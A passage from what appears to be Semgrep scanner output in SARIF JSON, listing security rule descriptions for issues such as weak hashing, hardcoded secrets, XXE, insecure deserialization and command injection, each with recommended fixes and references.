information."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server","id":"problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server","name":"problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.js-node.using-http-server.using-http-server"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of the MD5 hashing algorithm was identified which is considered insecure. MD5 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: MD5 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered."},"help":{"markdown":"The use of the MD5 hashing algorithm was identified which is considered insecure. MD5 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: MD5 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"The use of the MD5 hashing algorithm was identified which is considered insecure. MD5 is not collision resistant and is therefore not suitable for cryptographic or secure use-cases. Use stronger algorithms such as SHA256, SHA512, or adaptive hashing algorithms such as argon2 or bcrypt. **Note**: MD5 is still considered acceptable when used for Message Authentication Purposes, e.g. with HMAC although better and stronger algorithms should be strongly considered."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5","id":"swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5","name":"swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-hashing-algorithm-md5.insecure-hashing-algorithm-md5"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda","id":"python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda","name":"python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-pyyaml-aws-lambda.tainted-pyyaml-aws-lambda"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"help":{"markdown":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Hardcoded JWT secret or private key is used. This is a Insufficiently Protected Credentials weakness: https://cwe.mitre.org/data/definitions/522.html Consider using an appropriate security mechanism to protect the credentials (e.g. keeping secrets in environment variables)"},"helpUri":"https://semgrep.dev/r/ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret","id":"ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret","name":"ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.jwt.security.jwt-hardcode.ruby-jwt-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Usage of Apple's native XML Parser was observed where the parser is explicitly instructed to resolve external entities. This can lead to XXE attacks if untrusted input is parsed. Consider disabling this functionality where feasible."},"help":{"markdown":"Usage of Apple's native XML Parser was observed where the parser is explicitly instructed to resolve external entities. This can lead to XXE attacks if untrusted input is parsed. Consider disabling this functionality where feasible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.lang.xml.should-resolve-xxe.swift-xxe-prevention)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n - [https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/](https://mas.owasp.org/MASVS/controls/MASVS-CODE-4/)\n - [https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing)\n","text":"Usage of Apple's native XML Parser was observed where the parser is explicitly instructed to resolve external entities. This can lead to XXE attacks if untrusted input is parsed. Consider disabling this functionality where feasible."},"helpUri":"https://semgrep.dev/r/swift.lang.xml.should-resolve-xxe.swift-xxe-prevention","id":"swift.lang.xml.should-resolve-xxe.swift-xxe-prevention","name":"swift.lang.xml.should-resolve-xxe.swift-xxe-prevention","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.xml.should-resolve-xxe.swift-xxe-prevention"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected wildcard access granted to Glacier Vault. This means anyone within your AWS account ID can perform actions on Glacier resources. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:<identity>`."},"help":{"markdown":"Detected wildcard access granted to Glacier Vault. This means anyone within your AWS account ID can perform actions on Glacier resources. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:<identity>`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal)\n - [https://cwe.mitre.org/data/definitions/732.html](https://cwe.mitre.org/data/definitions/732.html)\n","text":"Detected wildcard access granted to Glacier Vault. This means anyone within your AWS account ID can perform actions on Glacier resources. Instead, limit to a specific identity in your account, like this: `arn:aws:iam::<account_id>:<identity>`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal","id":"terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal","name":"terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-glacier-vault-any-principal.aws-glacier-vault-any-principal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items with the accessibility type `kSecAttrAccessibleAlways` meaning that the data is not sufficiently protected at rest. Ideally, the application should use `kSecAttrAccessibleWhenUnlocked` to configure the data to be accessible only when the user has unlocked the screen."},"help":{"markdown":"The application was observed to store keychain items with the accessibility type `kSecAttrAccessibleAlways` meaning that the data is not sufficiently protected at rest. Ideally, the application should use `kSecAttrAccessibleWhenUnlocked` to configure the data to be accessible only when the user has unlocked the screen.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n - [https://blog.elcomsoft.com/2020/08/extracting-and-decrypting-ios-keychain-physical-logical-and-cloud-options-explored/](https://blog.elcomsoft.com/2020/08/extracting-and-decrypting-ios-keychain-physical-logical-and-cloud-options-explored/)\n","text":"The application was observed to store keychain items with the accessibility type `kSecAttrAccessibleAlways` meaning that the data is not sufficiently protected at rest. Ideally, the application should use `kSecAttrAccessibleWhenUnlocked` to configure the data to be accessible only when the user has unlocked the screen."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always","id":"swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always","name":"swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.keychain-always-accessible.keychain-accessible-always"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url","id":"rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url","name":"rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.tokio-postgres.hardcoded-connection-url.hardcoded-connection-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"ERC721 onERC721Received() reentrancy"},"help":{"markdown":"ERC721 onERC721Received() reentrancy\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.erc721-reentrancy.erc721-reentrancy)\n - [https://blocksecteam.medium.com/when-safemint-becomes-unsafe-lessons-from-the-hypebears-security-incident-2965209bda2a](https://blocksecteam.medium.com/when-safemint-becomes-unsafe-lessons-from-the-hypebears-security-incident-2965209bda2a)\n - [https://etherscan.io/address/0x14e0a1f310e2b7e321c91f58847e98b8c802f6ef](https://etherscan.io/address/0x14e0a1f310e2b7e321c91f58847e98b8c802f6ef)\n","text":"ERC721 onERC721Received() reentrancy"},"helpUri":"https://semgrep.dev/r/solidity.security.erc721-reentrancy.erc721-reentrancy","id":"solidity.security.erc721-reentrancy.erc721-reentrancy","name":"solidity.security.erc721-reentrancy.erc721-reentrancy","properties":{"precision":"very-high","tags":["CWE-841: Improper Enforcement of Behavioral Workflow","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.erc721-reentrancy.erc721-reentrancy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The host for this proxy URL is dynamically determined. This can be dangerous if the host can be injected by an attacker because it may forcibly alter destination of the proxy. Consider hardcoding acceptable destinations and retrieving them with 'map' or something similar."},"help":{"markdown":"The host for this proxy URL is dynamically determined. This can be dangerous if the host can be injected by an attacker because it may forcibly alter destination of the proxy. Consider hardcoding acceptable destinations and retrieving them with 'map' or something similar.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host)\n - [https://nginx.org/en/docs/http/ngx_http_map_module.html](https://nginx.org/en/docs/http/ngx_http_map_module.html)\n","text":"The host for this proxy URL is dynamically determined. This can be dangerous if the host can be injected by an attacker because it may forcibly alter destination of the proxy. Consider hardcoding acceptable destinations and retrieving them with 'map' or something similar."},"helpUri":"https://semgrep.dev/r/generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host","id":"generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host","name":"generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host","properties":{"precision":"very-high","tags":["CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: generic.nginx.security.dynamic-proxy-host.dynamic-proxy-host"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"DOCTYPE declarations are enabled for this TransformerFactory. This is vulnerable to XML external entity attacks. Disable this by setting the attributes \"accessExternalDTD\" and \"accessExternalStylesheet\" to \"\"."},"help":{"markdown":"DOCTYPE declarations are enabled for this TransformerFactory. This is vulnerable to XML external entity attacks. Disable this by setting the attributes \"accessExternalDTD\" and \"accessExternalStylesheet\" to \"\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://blog.sonarsource.com/secure-xml-processor](https://blog.sonarsource.com/secure-xml-processor)\n - [https://xerces.apache.org/xerces2-j/features.html](https://xerces.apache.org/xerces2-j/features.html)\n","text":"DOCTYPE declarations are enabled for this TransformerFactory. This is vulnerable to XML external entity attacks. Disable this by setting the attributes \"accessExternalDTD\" and \"accessExternalStylesheet\" to \"\"."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled","id":"java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled","name":"java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.xxe.transformerfactory-dtds-not-disabled.transformerfactory-dtds-not-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret","id":"python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret","name":"python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.neo4j.python-neo4j-hardcoded-secret.python-neo4j-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret","id":"csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret","name":"csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.passwordauthenticationmethod-hardcoded-secret.passwordauthenticationmethod-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"help":{"markdown":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.use-of-md5.use-of-md5)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.use-of-md5.use-of-md5","id":"kotlin.lang.security.use-of-md5.use-of-md5","name":"kotlin.lang.security.use-of-md5.use-of-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.use-of-md5.use-of-md5"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.no-null-cipher.no-null-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.no-null-cipher.no-null-cipher","id":"kotlin.lang.security.no-null-cipher.no-null-cipher","name":"kotlin.lang.security.no-null-cipher.no-null-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.no-null-cipher.no-null-cipher"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret","id":"swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret","name":"swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.cryptoswift.chacha20-hardcoded-secret.chacha20-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"No token revoking configured for `express-jwt`. A leaked token could still be used and unable to be revoked. Consider using function as the `isRevoked` option."},"help":{"markdown":"No token revoking configured for `express-jwt`. A leaked token could still be used and unable to be revoked. Consider using function as the `isRevoked` option.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"No token revoking configured for `express-jwt`. A leaked token could still be used and unable to be revoked. Consider using function as the `isRevoked` option."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked","id":"javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked","name":"javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-jwt-not-revoked.express-jwt-not-revoked"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected DynamoDB query params that are tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client."},"help":{"markdown":"Detected DynamoDB query params that are tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected DynamoDB query params that are tainted by `$EVENT` object. This could lead to NoSQL injection if the variable is user-controlled and not properly sanitized. Explicitly assign query params instead of passing data from `$EVENT` directly to DynamoDB client."},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object","id":"javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object","name":"javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.dynamodb-request-object.dynamodb-request-object"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.simple-command-injection-direct-input.simple-command-injection-direct-input)\n - [https://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html](https://docs.oracle.com/javase/8/docs/api/java/lang/Runtime.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: 